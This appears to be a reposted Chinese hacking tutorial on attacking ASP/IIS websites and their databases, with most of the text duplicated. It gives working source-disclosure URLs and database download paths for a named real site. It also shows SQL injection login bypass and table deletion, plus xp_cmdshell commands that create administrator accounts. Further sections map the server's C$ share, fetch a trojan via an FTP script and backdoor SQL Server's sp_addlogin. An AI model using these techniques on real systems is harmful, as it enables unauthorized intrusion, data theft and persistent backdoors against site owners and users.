一般的web server都要使用数据库来存储信息，几乎所有的网站都要用数据库。这样就存在着两种可能，一种是使用小型数据库，如aceess,一般就储存在本地。另一种是使用大型数据库，如SQL server,Oracle这时候一般就放在另一台机器上，然后通过ODBC来访问它。
由于页面经常需要查询各种信息，修改用户信息等操作，实质上就是和数据库打交道了。这样就给非法用户留下利用的机会了。
1.对本地数据库的攻击。
对本地数据库的攻击一种方法就是下载数据库，然后呢，你就可以打开这个数据库得到内部的用户和帐号了，以及其它有用的信息。
下面以“水莲会”为例：
经过扫描，得知www.suilian.net使用的是虚拟主机，使用的是WIndows NT+IIS4.0.扫描器你可以使用twwwscan或者其它，其实功能都大同小异。
在对IIS攻击时如果能够看到ASP源代码，那么成功的可能性就很大了。
经过测试，发现此站点存在源代码暴露漏洞。。。
大家可以试试：
http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=
none&CiHiliteType=full
看见了什么？
当然源代码泄露的漏洞有很多种，这里就不一一列举，你可以去查漏洞手册。
现在你就可以去查看ASP源代码了。
如果你对ASP不熟悉，我简单介绍一下。
ASP是嵌在<%和%>之间。一般使用VBScript或者java script书写代码。
看这个例子使用VBScript书写的：
<%
...
set cn1=server.createobject("ADODB.connection")
dbpath=server.mappath("user.mdb")
cn1.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath
set rs=server.createobject("ADODB.recordset")
rs.open "select * from yhb",cn1,adopenkeyset
...
%>
这是一个典型的与数据库连接的代码。
依次的步骤为：
建立连接对象，
设置数据库路径，
打开数据库，
设置记录对象，
取记录。
这里我们就可以知道数据库的类型，名称和路径，这里是在当前目录下。
还可以知道数据库的表名和字段名称。
有经验的程序员一般不会把数据库名直接放在代码里，而是在ODBC里设置数据源，以增加安全性。
然后就发现存在
d:/S/suilian/chat/news.mdb
d:/S/suilian/topic22.mdb等数据库
你只要使用
http://www.suilian.net/chat/news.mdb
http://www.suilian.net/topic22.mdb
就可以把它下载下来...
1。突破script的限制。
例如，某网页上有一文本框，允许你输入用户名称，但是它限制你只能输入4个字符。许多程序都是在客户端限制，然后用msgbox弹出错误提示。如果你攻击时需要突破此限制，只需要在本地做一个一样的主页，只是取消了限制，通常是去掉VBscript或IavaScript的限制程序，就可以成功突破。
如果是java script做的，干脆临时把浏览器的脚本支持关掉。如果是<input type=text name=... maxlength=...，则可以自己做个网页，把form的Action直接用绝对URL提交过去。
有经验的程序员常常在程序后台再做一遍检验，如果有错误就用response.write或类似的语句输出错误。
2。对SQL的突破
例如某网页需要你输入用户名称和口令，这样就有两个文本框等待你的输入，现在我们假设有一用户adam,我们不知道他的口令，却想以他的身份登陆。
正常情况下，我们在第一个文本框输入adam,第二个文本框输入1234之类的密码，如果密码正确就可以进入，否则报错。
程序中的查询语句可能是：
sql="select * from user where username='"&text1.values&"' and passwd= '"&text2.values&"'"
执行时候就是
select * from user where username='adam' and passwd='1234'
好了，
如果我们在text2里输入的不是1234,而是1234'"&"'or 1=1
我们的sql语句就成了，
select * from user where username='adam' and passwd='1234' or 1=1
我们就可以进入了。。。
有经验的用户就在程序中增加对单引号等特殊字符的过滤。
但是，一般人习惯上有两种登录认证方式我就用ASP的VBScript做例子了：
一是用select * from ... where username = ' & Request.form("username") & "password = " & Request.form("password")，然后判断结果是否为空来验证。其实还有一种方式：
用select * from ... where username = ' & Request.form("username"), 然后判断结果集中的密码是否和输入相同来验证，这种方式就安全一些了。
3。利用多语句执行漏洞。
根据上面的思路，如果用户根据书名(例如linux入门)查询所有的书，SQL语句为
select book.name,book.content from book where bookname='linux入门'
如果我们输入的不是linux入门而是 linux入门' delete from user where '1' = '1
从而构成对表的删除。
成功的前提条件是对方允许多条语句的执行。
由于程序没有处理边界符“'”产生的漏洞的危害程度和结果集的类型及数据库的配置有很大的关系。首先说结果集，如果结果集只支持单条的SQL语句，那么你所能做的只是上面提到的那种在密码框内输入' or '1' = '1来登录，其他的做不了。
我们还可以用这种方法在数据库里增加用户。
4。SQL Server装完后自动创建一个管理用户sa，密码为空。而好多人装完后并不去改密码，这样就留下了一个极大的安全问题，我稍后再细说。
程序中的连接一般用两种，不是用global.asa就是用SSL文件。SSL文件一般人习惯放到到Web的/include或/inc目录下。而且文件名常会是conn.inc、db_conn.inc、dbconninc，等等，反正有时能猜到。
如果这个目录没有禁读，一旦猜到文件名就可以了，因为.inc一般不会去做关联的，直接请求不是下载就是显示源文件。
还有当主要程序放到一个后缀为.inc的文件而没有处理“'”，当运行出错时返回的出错信息中常会暴露.inc文件，我遇到过几次这样的情况。其实可以在IIS里设置来不回应脚本出错信息的。
5。数据库的利用。
如果程序中的连接用户权限极小，甚至多数表只能读，你就很难有所作为了。这时所能做的是能猜出表名和字段名来进行删除数据或表的操作。
INSERT语句利用起来讨厌一些，主要是里面有好多列，而且还要处理掉最后的“)”。
我就以我最熟悉的MS SQL Server来说一些吧。它的默认端口号是1433，你用telnet连一下服务器的这个端口，如果能连上去一般是装了MS SQL Server，当然这是可以改掉的。
好了，说一说数据库的利用。
如果对方的数据直接在Web服务器上而且你知道端口号，有帐号就干脆用SQL Analyzer来直接连接数据库。在它里面可以执行SQL语句。常用的是存储过程master.dbo.xp_cmdshell，这是一个扩展存储过程，它只有一个参数，把参数做为系统命令来装给系统执行。
如果是管理用户就有权执行这个存储过程，而且这时可以执行很多操作，如用ipconfig来看ip设置，用net user来看系统用户。不过用net user /add 用户名 密码并不一定成功，有时会返回一个“指定的登录会话不存在”而不能执行，原因我还不清楚。
如果没有权限也不要紧，MS SQL Server有个漏洞，你可以创建一个临时存储过程来执行，就可以绕过去，如：
CREATE PROC #cmdshell(@cmdstr varchar(200))
AS
EXEC master.dbo.xp_cmdshell @cmdshell
当然这时是没有权限执行net user /add等的，不过可以查看，可以创建文件。
反复用echo创建一个FTP脚本，把木马传到一个FTP站点上，然后用存储过程调用ftp来利用脚本来下载并安装，然后......呵呵:)
如果数据库没有装在Web服务器上所以没有找到或改了端口号而一时找不到还是有办法的。
如果数据库服务器直接从Internet上无法访问，你可以利用程序里的漏洞来删除、修改数据或加入java script语句到数据库，通常他们显示本来应该自己人录入的数据时不去过滤<>，所以可以用java script把它转到其他站点上或做些什么。
如果只是改了端口号就要看程序里数据库用户的权限了，如果是管理用户，可以用' exec master.dbo.xp_cmshell 'net user /add aaa bbb来创建一个操作系统用户，然后再用' exec master.dbo.xp_cmdshell 'net localgroup /add administrators aaa来把它升级为超级用户。
如果这台服务器的NetBIOS绑定了TCP/IP，而且C$、D$等管理共享存在，呵呵，恭喜了，你在DOS命令下用net use Z: /ip address$ "bbb" /user:"aaa"就可以把对方的整个C盘映射为你本地的一个网络驱对器Z:了。
6。数据库里如何留后门。
创建用户的sp_addlogin、权限分配的sp_addsrvrolemember是用一条语句来判断用户是否有权限执行，也就是说用户都可以执行它，它再来判断用户是否有权执行。
当你攻入一个数据库时可以用它的Enterprise Manager来连上去修改这些存储过程，因为这些存储过程都没有加密。
可以在判断的地方加个条件，当这个条件满足时就不直接执行下去而不管是什么权限的用户调用它。
不过改完要注意，这时它的Type成了User，要想改回可以到sysobjects表中把name为sp_addlogin的一条删除，然后再把没有改过的相同版本的MS SQL Server的同一条记录拷贝进去就可以了。
当然不要忘了这些默认是不能手工修改的，要修改得先把掉SQL Server的参数，改完不要忘了再改回来啊:) 这时只要网站的程序有问题，不管程序中的用户权限如何，你都可以随时创建SQL Server的管理用户。
7。数据库扫描工具。
ISS DATABASE Scanner
由于页面经常需要查询各种信息，修改用户信息等操作，实质上就是和数据库打交道了。这样就给非法用户留下利用的机会了。
1.对本地数据库的攻击。
对本地数据库的攻击一种方法就是下载数据库，然后呢，你就可以打开这个数据库得到内部的用户和帐号了，以及其它有用的信息。
下面以“水莲会”为例：
经过扫描，得知www.suilian.net使用的是虚拟主机，使用的是WIndows NT+IIS4.0.扫描器你可以使用twwwscan或者其它，其实功能都大同小异。
在对IIS攻击时如果能够看到ASP源代码，那么成功的可能性就很大了。
经过测试，发现此站点存在源代码暴露漏洞。。。
大家可以试试：
http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=
none&CiHiliteType=full
http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=
none&CiHiliteType=full
看见了什么？
当然源代码泄露的漏洞有很多种，这里就不一一列举，你可以去查漏洞手册。
现在你就可以去查看ASP源代码了。
如果你对ASP不熟悉，我简单介绍一下。
ASP是嵌在<%和%>之间。一般使用VBScript或者java script书写代码。
看这个例子使用VBScript书写的：
<%
...
set cn1=server.createobject("ADODB.connection")
dbpath=server.mappath("user.mdb")
cn1.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath
set rs=server.createobject("ADODB.recordset")
rs.open "select * from yhb",cn1,adopenkeyset
...
%>
这是一个典型的与数据库连接的代码。
依次的步骤为：
建立连接对象，
设置数据库路径，
打开数据库，
设置记录对象，
取记录。
这里我们就可以知道数据库的类型，名称和路径，这里是在当前目录下。
还可以知道数据库的表名和字段名称。
有经验的程序员一般不会把数据库名直接放在代码里，而是在ODBC里设置数据源，以增加安全性。
然后就发现存在
d:/S/suilian/chat/news.mdb
d:/S/suilian/topic22.mdb等数据库
你只要使用
http://www.suilian.net/chat/news.mdb
http://www.suilian.net/topic22.mdb
就可以把它下载下来...
1。突破script的限制。
例如，某网页上有一文本框，允许你输入用户名称，但是它限制你只能输入4个字符。许多程序都是在客户端限制，然后用msgbox弹出错误提示。如果你攻击时需要突破此限制，只需要在本地做一个一样的主页，只是取消了限制，通常是去掉VBscript或IavaScript的限制程序，就可以成功突破。
如果是java script做的，干脆临时把浏览器的脚本支持关掉。如果是<input type=text name=... maxlength=...，则可以自己做个网页，把form的Action直接用绝对URL提交过去。
有经验的程序员常常在程序后台再做一遍检验，如果有错误就用response.write或类似的语句输出错误。
2。对SQL的突破
例如某网页需要你输入用户名称和口令，这样就有两个文本框等待你的输入，现在我们假设有一用户adam,我们不知道他的口令，却想以他的身份登陆。
正常情况下，我们在第一个文本框输入adam,第二个文本框输入1234之类的密码，如果密码正确就可以进入，否则报错。
程序中的查询语句可能是：
sql="select * from user where username='"&text1.values&"' and passwd= '"&text2.values&"'"
执行时候就是
select * from user where username='adam' and passwd='1234'
好了，
如果我们在text2里输入的不是1234,而是1234'"&"'or 1=1
我们的sql语句就成了，
select * from user where username='adam' and passwd='1234' or 1=1
我们就可以进入了。。。
有经验的用户就在程序中增加对单引号等特殊字符的过滤。
但是，一般人习惯上有两种登录认证方式我就用ASP的VBScript做例子了：
一是用select * from ... where username = ' & Request.form("username") & "password = " & Request.form("password")，然后判断结果是否为空来验证。其实还有一种方式：
用select * from ... where username = ' & Request.form("username"), 然后判断结果集中的密码是否和输入相同来验证，这种方式就安全一些了。
3。利用多语句执行漏洞。
根据上面的思路，如果用户根据书名(例如linux入门)查询所有的书，SQL语句为
select book.name,book.content from book where bookname='linux入门'
如果我们输入的不是linux入门而是 linux入门' delete from user where '1' = '1
从而构成对表的删除。
成功的前提条件是对方允许多条语句的执行。
由于程序没有处理边界符“'”产生的漏洞的危害程度和结果集的类型及数据库的配置有很大的关系。首先说结果集，如果结果集只支持单条的SQL语句，那么你所能做的只是上面提到的那种在密码框内输入' or '1' = '1来登录，其他的做不了。
我们还可以用这种方法在数据库里增加用户。
4。SQL Server装完后自动创建一个管理用户sa，密码为空。而好多人装完后并不去改密码，这样就留下了一个极大的安全问题，我稍后再细说。
程序中的连接一般用两种，不是用global.asa就是用SSL文件。SSL文件一般人习惯放到到Web的/include或/inc目录下。而且文件名常会是conn.inc、db_conn.inc、dbconninc，等等，反正有时能猜到。
如果这个目录没有禁读，一旦猜到文件名就可以了，因为.inc一般不会去做关联的，直接请求不是下载就是显示源文件。
还有当主要程序放到一个后缀为.inc的文件而没有处理“'”，当运行出错时返回的出错信息中常会暴露.inc文件，我遇到过几次这样的情况。其实可以在IIS里设置来不回应脚本出错信息的。
5。数据库的利用。
如果程序中的连接用户权限极小，甚至多数表只能读，你就很难有所作为了。这时所能做的是能猜出表名和字段名来进行删除数据或表的操作。
INSERT语句利用起来讨厌一些，主要是里面有好多列，而且还要处理掉最后的“)”。
我就以我最熟悉的MS SQL Server来说一些吧。它的默认端口号是1433，你用telnet连一下服务器的这个端口，如果能连上去一般是装了MS SQL Server，当然这是可以改掉的。
好了，说一说数据库的利用。
如果对方的数据直接在Web服务器上而且你知道端口号，有帐号就干脆用SQL Analyzer来直接连接数据库。在它里面可以执行SQL语句。常用的是存储过程master.dbo.xp_cmdshell，这是一个扩展存储过程，它只有一个参数，把参数做为系统命令来装给系统执行。
如果是管理用户就有权执行这个存储过程，而且这时可以执行很多操作，如用ipconfig来看ip设置，用net user来看系统用户。不过用net user /add 用户名 密码并不一定成功，有时会返回一个“指定的登录会话不存在”而不能执行，原因我还不清楚。
如果没有权限也不要紧，MS SQL Server有个漏洞，你可以创建一个临时存储过程来执行，就可以绕过去，如：
CREATE PROC #cmdshell(@cmdstr varchar(200))
AS
EXEC master.dbo.xp_cmdshell @cmdshell
当然这时是没有权限执行net user /add等的，不过可以查看，可以创建文件。
反复用echo创建一个FTP脚本，把木马传到一个FTP站点上，然后用存储过程调用ftp来利用脚本来下载并安装，然后......呵呵:)
如果数据库没有装在Web服务器上所以没有找到或改了端口号而一时找不到还是有办法的。
如果数据库服务器直接从Internet上无法访问，你可以利用程序里的漏洞来删除、修改数据或加入java script语句到数据库，通常他们显示本来应该自己人录入的数据时不去过滤<>，所以可以用java script把它转到其他站点上或做些什么。
如果只是改了端口号就要看程序里数据库用户的权限了，如果是管理用户，可以用' exec master.dbo.xp_cmshell 'net user /add aaa bbb来创建一个操作系统用户，然后再用' exec master.dbo.xp_cmdshell 'net localgroup /add administrators aaa来把它升级为超级用户。
如果这台服务器的NetBIOS绑定了TCP/IP，而且C$、D$等管理共享存在，呵呵，恭喜了，你在DOS命令下用net use Z: /ip address$ "bbb" /user:"aaa"就可以把对方的整个C盘映射为你本地的一个网络驱对器Z:了。
6。数据库里如何留后门。
创建用户的sp_addlogin、权限分配的sp_addsrvrolemember是用一条语句来判断用户是否有权限执行，也就是说用户都可以执行它，它再来判断用户是否有权执行。
当你攻入一个数据库时可以用它的Enterprise Manager来连上去修改这些存储过程，因为这些存储过程都没有加密。
可以在判断的地方加个条件，当这个条件满足时就不直接执行下去而不管是什么权限的用户调用它。
不过改完要注意，这时它的Type成了User，要想改回可以到sysobjects表中把name为sp_addlogin的一条删除，然后再把没有改过的相同版本的MS SQL Server的同一条记录拷贝进去就可以了。
当然不要忘了这些默认是不能手工修改的，要修改得先把掉SQL Server的参数，改完不要忘了再改回来啊:) 这时只要网站的程序有问题，不管程序中的用户权限如何，你都可以随时创建SQL Server的管理用户。
7。数据库扫描工具。
ISS DATABASE Scanner
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=315204
281
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
